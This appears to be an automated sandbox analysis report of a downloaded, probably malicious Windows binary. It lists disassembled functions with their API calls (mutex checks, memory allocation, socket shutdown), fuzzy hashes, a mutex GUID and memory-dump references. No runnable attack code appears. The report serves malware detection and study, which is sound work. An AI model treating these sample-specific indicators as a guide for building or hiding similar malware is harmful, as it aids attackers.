Yara matches

Similarity

API ID: Sleep$CloseHandleMutexOpen
String ID: {8FE2C78C-5E69-438F-A4AB-0D2F0B3439E1}
API String ID: 2551712853-3746470483
Opcode ID: debe8663723fd0464e7444c325019f195c54c64aab54968fb17d15da81f64d62
Instruction ID: 488ce4b49c403c302f1a081a70677590ac2c4c534ce70a02ab5feef03b0c1651
Opcode Fuzzy Hash: debe8663723fd0464e7444c325019f195c54c64aab54968fb17d15da81f64d62
Instruction Fuzzy Hash: 15E0BF34940304EBE76F5B91D95D79D7675BB0C701F108418F522651E0CBF444C4DF01

Function 003103D5 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 18sleepCOMMON

Download Yara Rule

APIs

OpenMutexW.KERNEL32(00100000,00000000,{8FE2C78C-5E69-438F-A4AB-0D2F0B3439E1}), ref: 003103B0
CloseHandle.KERNEL32(00000000), ref: 003103C3
Sleep.KERNEL32(00000064), ref: 003103CB
Sleep.KERNEL32(000003E8), ref: 003103DC

Strings

{8FE2C78C-5E69-438F-A4AB-0D2F0B3439E1}, xrefs: 003103A4

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Sleep$CloseHandleMutexOpen
String ID: {8FE2C78C-5E69-438F-A4AB-0D2F0B3439E1}
API String ID: 2551712853-3746470483
Opcode ID: 78602f41e20c77d655654187b42cb2894a2dc5610d4afcad4e97ee71c8f02b3f
Instruction ID: 5c58317d622c9829d8d7c1a52d95990b588963212fef853a943cbe1082bc9f3f
Opcode Fuzzy Hash: 78602f41e20c77d655654187b42cb2894a2dc5610d4afcad4e97ee71c8f02b3f
Instruction Fuzzy Hash: AAE0B634A44314DBE72E9BA0CD4DB9E7A79BB08705F148828F552A55D4CBF948C5CB01

Function 0031CC90 Relevance: 6.3, APIs: 5, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00009004), ref: 0031CC9D
LocalAlloc.KERNEL32(00000040,?), ref: 0031CCB7
LocalFree.KERNEL32(00000000), ref: 0031CCEB
LocalFree.KERNEL32(00000000), ref: 0031CD02
LocalFree.KERNEL32(00000000), ref: 0031CD0C

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Local$Free$Alloc
String ID:
API String ID: 3098330729-0
Opcode ID: e9fc183e28e18d4458a5def7834781249d5c243206f0ed4990802c86b9dfa5ca
Instruction ID: 79b18990b65be0ac6e5fc5bf050cfd8dcf6af3dcd03b2582e294a2269ddecdc4
Opcode Fuzzy Hash: e9fc183e28e18d4458a5def7834781249d5c243206f0ed4990802c86b9dfa5ca
Instruction Fuzzy Hash: 4411CC75910308FFDB0ADFA8E989B9E7BB9FB4C301F108598F905A7250D6349A44DF54

Function 0031E1A0 Relevance: 6.2, APIs: 4, Instructions: 194COMMON

Download Yara Rule

APIs

Part of subcall function 0031EBC0: LocalAlloc.KERNEL32(00000040,00000FA0), ref: 0031EC09

VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 0031E3F8

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: AllocFreeLocalVirtual
String ID:
API String ID: 3333721195-0
Opcode ID: 8bd307a9b38c5b85456f17132e8a52bd6d8ff148ef5e6e9a610a22087e04736f
Instruction ID: 00330d7afea5f4770e45def9a3cad1d4185266bde5497278e4dc454d653984cb
Opcode Fuzzy Hash: 8bd307a9b38c5b85456f17132e8a52bd6d8ff148ef5e6e9a610a22087e04736f
Instruction Fuzzy Hash: 7391B074E00209DFCB19CF98C884AEDBBB6FF88304F248559E816AB345D735A992CF50

Function 0032C243 Relevance: 6.1, APIs: 4, Instructions: 103COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0032C277
__isleadbyte_l.LIBCMT ref: 0032C2AA
MultiByteToWideChar.KERNEL32(00000080,00000009,?,?,00000000,00000000,?,?,?,?,?,00000000), ref: 0032C2DB
MultiByteToWideChar.KERNEL32(00000080,00000009,?,00000001,00000000,00000000,?,?,?,?,?,00000000), ref: 0032C349

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: ac608b9c5e819997940b4692ddfeafac0f1d5271f1a8f9a7530ba9b4e6ed3aaf
Instruction ID: 19caa2ef1e269d3e1472afdffd3ae20119797932a7a0d701681df9da119024b3
Opcode Fuzzy Hash: ac608b9c5e819997940b4692ddfeafac0f1d5271f1a8f9a7530ba9b4e6ed3aaf
Instruction Fuzzy Hash: 4231E531A24365EFDF22DFA4E8809BD7BA4FF01310F259969E4A59B191DB30DD40DB50

Function 00321DB0 Relevance: 6.1, APIs: 4, Instructions: 62synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(00000000), ref: 00321E06
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00321E2A
CloseHandle.KERNEL32(00000000), ref: 00321E4C
CloseHandle.KERNEL32(00000000), ref: 00321E6E

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: CloseHandle$EventObjectSingleWait
String ID:
API String ID: 2857295742-0
Opcode ID: 828740abbcdc2bd48f9e0fab50541f78da24f936f286395a2494c3ba112dcb8c
Instruction ID: ef6310302ec84da005e74e8c1b51cb18add67ad8d0b3a15051b47aaaf2c3118d
Opcode Fuzzy Hash: 828740abbcdc2bd48f9e0fab50541f78da24f936f286395a2494c3ba112dcb8c
Instruction Fuzzy Hash: 462135315001049BCB1ECF58E6D9B7DBBB5FB61305F5642AED406AF6E1C7309986CB50

Function 0032F653 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 0032F679

Part of subcall function 0032F4A5: __fltout2.LIBCMT ref: 0032F4D0

__cftog_l.LIBCMT ref: 0032F69F
__cftoe_l.LIBCMT ref: 0032F6D1

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: 4bdea013960d862e58fdc3211a87ed6cb7384f6b6b2695c697ae8ee222476223
Instruction ID: f330fe63fa06c2a601f3f8f80533939c7e7843ea458fc5782e8606f98275be0a
Opcode Fuzzy Hash: 4bdea013960d862e58fdc3211a87ed6cb7384f6b6b2695c697ae8ee222476223
Instruction Fuzzy Hash: E911093240015ABFCF235E84EC42CEE3F76FB19394B598525FA1859531D636C9B1AF81

Function 0031C850 Relevance: 6.0, APIs: 4, Instructions: 46synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,00000000), ref: 0031C887
CloseHandle.KERNEL32(?), ref: 0031C898
CloseHandle.KERNEL32(?), ref: 0031C8A5
LocalFree.KERNEL32(00000000), ref: 0031C8BF

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: CloseHandle$FreeLocalObjectSingleWait
String ID:
API String ID: 2545295749-0
Opcode ID: 8e69c74bc69be313f11f96b9ff3da163a89553dfc9119e461b6b0ae06a223cf7
Instruction ID: f7b7b32247aef0e603231933b3317e626c564072a5e7af7d263a8f26a838c93e
Opcode Fuzzy Hash: 8e69c74bc69be313f11f96b9ff3da163a89553dfc9119e461b6b0ae06a223cf7
Instruction Fuzzy Hash: 0A110C79A10208EFCB09DF94C988A9EBBB9BF48300F208588E9055B350D734EE85DF50

Function 00321928 Relevance: 6.0, APIs: 4, Instructions: 45synchronizationnetworkCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,00000000), ref: 003215F6
WaitForSingleObject.KERNEL32(?,00000000), ref: 0032163E
WaitForSingleObject.KERNEL32(?,00000000), ref: 00321953
WaitForSingleObject.KERNEL32(?,00000000), ref: 00321977
WSAEnumNetworkEvents.WS2_32(?,?,?), ref: 003219A8
shutdown.WS2_32(?,00000002), ref: 003219D1
closesocket.WS2_32(?), ref: 003219E5
CloseHandle.KERNEL32(?), ref: 003219F6
shutdown.WS2_32(00000000,00000002), ref: 00321D0F
closesocket.WS2_32(00000000), ref: 00321D23
CloseHandle.KERNEL32(00000000), ref: 00321D52
shutdown.WS2_32(00000000,00000002), ref: 00321D7D
closesocket.WS2_32(00000000), ref: 00321D8A
LocalFree.KERNEL32(?), ref: 00321D9E

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: ObjectSingleWait$closesocketshutdown$CloseHandle$EnumEventsFreeLocalNetwork
String ID:
API String ID: 3044467104-0
Opcode ID: 574c165f25d984b0d2131cf348d29847d2aa2fd049e4b96d33f1761896555c88
Instruction ID: 26fff9eb01f3ca17af96f7b53e72ddfd58e00815b8c079b01cdde24b11b6217a
Opcode Fuzzy Hash: 574c165f25d984b0d2131cf348d29847d2aa2fd049e4b96d33f1761896555c88
Instruction Fuzzy Hash: 8C213A78604228CFCB65CF44EA88BE97775BFA8309F2040D9D5CA66290CBB85EC0CF51

Function 00321613 Relevance: 6.0, APIs: 4, Instructions: 45synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,00000000), ref: 0032163E
WaitForSingleObject.KERNEL32(?,00000000), ref: 00321678
WaitForMultipleObjects.KERNEL32(00000006,?,00000000,000000FF), ref: 003218CE
shutdown.WS2_32(00000000,00000002), ref: 00321D0F
closesocket.WS2_32(00000000), ref: 00321D23
CloseHandle.KERNEL32(00000000), ref: 00321D52
shutdown.WS2_32(00000000,00000002), ref: 00321D7D
closesocket.WS2_32(00000000), ref: 00321D8A
LocalFree.KERNEL32(?), ref: 00321D9E

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Wait$ObjectSingleclosesocketshutdown$CloseFreeHandleLocalMultipleObjects
String ID:
API String ID: 785092289-0
Opcode ID: 2d2977802c62e82c095ea9cb9c1ea24d9637a8f1d2353b5d19e71e37f4973b15
Instruction ID: 6031b241c33695464da57b6770c91b45a138e6ec870d6492a92f46c5d27151b7
Opcode Fuzzy Hash: 2d2977802c62e82c095ea9cb9c1ea24d9637a8f1d2353b5d19e71e37f4973b15
Instruction Fuzzy Hash: F6211C38604228CFDB65CF58EA88BE977B5BFA8304F1084D8D5CA56240CBB45EC4CF01

Function 003021E0 Relevance: 6.0, APIs: 4, Instructions: 26synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(00000000,?,0031BE5B), ref: 003021F2
WaitForSingleObject.KERNEL32(00000000,000000FF,?,0031BE5B), ref: 0030220A
CloseHandle.KERNEL32(00000000,?,0031BE5B), ref: 00302217
CloseHandle.KERNEL32(00000000,?,0031BE5B), ref: 00302236

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: CloseHandle$EventObjectSingleWait
String ID:
API String ID: 2857295742-0
Opcode ID: 39cc40f35f9300ff33c57f772405e52156a2fd5ec77a3544b17ed83c99ebd695
Instruction ID: 3fc0a8bf16d55aedca76439c03a57ac52b0ede62637d1670f8bf184f46962ff8
Opcode Fuzzy Hash: 39cc40f35f9300ff33c57f772405e52156a2fd5ec77a3544b17ed83c99ebd695
Instruction Fuzzy Hash: 05F0D47001B200DBD337ABA8EC5CB5ABBBCA308309F004A19E11D46AF2CB7898C4CF10

Function 003042B0 Relevance: 6.0, APIs: 4, Instructions: 26synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(00000000,?,0031BE60), ref: 003042C2
WaitForSingleObject.KERNEL32(00000000,000000FF,?,0031BE60), ref: 003042DA
CloseHandle.KERNEL32(00000000,?,0031BE60), ref: 003042E7
CloseHandle.KERNEL32(00000000,?,0031BE60), ref: 00304306

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: CloseHandle$EventObjectSingleWait
String ID:
API String ID: 2857295742-0
Opcode ID: 041379bdbaa9bb39c0b8ebf3bc719bbc5084334235ab0ddca53563009f61d1d4
Instruction ID: ad453047a5045f2da5ce6506688c1974c848480ccad715a69d7e072a386532fb
Opcode Fuzzy Hash: 041379bdbaa9bb39c0b8ebf3bc719bbc5084334235ab0ddca53563009f61d1d4
Instruction Fuzzy Hash: D8F0B270113200DFD7339BA8ED9CB1ABBBCA748305F004A28F9194A2B2C77898C4CB10

Function 0032778B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 003239FB: __getptd.LIBCMT ref: 00323A01
Part of subcall function 003239FB: __getptd.LIBCMT ref: 00323A11

__getptd.LIBCMT ref: 0032779A

Part of subcall function 003281BE: __getptd_noexit.LIBCMT ref: 003281C1
Part of subcall function 003281BE: __amsg_exit.LIBCMT ref: 003281CE

__getptd.LIBCMT ref: 003277A8

Strings

csm, xrefs: 003277B6

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: csm
API String ID: 803148776-1018135373
Opcode ID: f21ed9317b392a23d3a0101c206c60fad0d49fe9fee2f2183ce286149558712d
Instruction ID: caa86ed391c88a0fb7bb7ba65bab921f9e26eccdef5880d4e9a25b0ad4c148ff
Opcode Fuzzy Hash: f21ed9317b392a23d3a0101c206c60fad0d49fe9fee2f2183ce286149558712d
Instruction Fuzzy Hash: 3F018C358093248ECF3B9F68E84A6ADB3B5BF10311F65442EE4419A691CF34AE91CF41

Function 00319AB6 Relevance: 5.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000), ref: 00319C80
LocalFree.KERNEL32(00000000), ref: 00319C8A
CloseHandle.KERNEL32(00000000), ref: 00319C96
LocalFree.KERNEL32(00000000), ref: 00319CA0

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: FreeLocal$CloseHandle
String ID:
API String ID: 2045616094-0
Opcode ID: 4f7efa0b7f7e89081bb2520825c97f7466333616d3e7a96e530343ef81c1e492
Instruction ID: 0cb72a3d679a44e4fc260aad1f6689bbafdb38e60a11f79611fedefdbff512b0
Opcode Fuzzy Hash: 4f7efa0b7f7e89081bb2520825c97f7466333616d3e7a96e530343ef81c1e492
Instruction Fuzzy Hash: BA01B675A10208DFCB25DFE4D98899EBBB9AF49311F504698F90A97710CA359EC0CF50

Function 00319A80 Relevance: 5.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000), ref: 00319C80
LocalFree.KERNEL32(00000000), ref: 00319C8A
CloseHandle.KERNEL32(00000000), ref: 00319C96
LocalFree.KERNEL32(00000000), ref: 00319CA0

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: FreeLocal$CloseHandle
String ID:
API String ID: 2045616094-0
Opcode ID: 3efd7b392f6990f67f28d30b81b345221e3410e6b6a7edb76ef89299d0ba5c28
Instruction ID: 0cb72a3d679a44e4fc260aad1f6689bbafdb38e60a11f79611fedefdbff512b0
Opcode Fuzzy Hash: 3efd7b392f6990f67f28d30b81b345221e3410e6b6a7edb76ef89299d0ba5c28
Instruction Fuzzy Hash: BA01B675A10208DFCB25DFE4D98899EBBB9AF49311F504698F90A97710CA359EC0CF50

Function 00319AEF Relevance: 5.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000), ref: 00319C80
LocalFree.KERNEL32(00000000), ref: 00319C8A
CloseHandle.KERNEL32(00000000), ref: 00319C96
LocalFree.KERNEL32(00000000), ref: 00319CA0

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
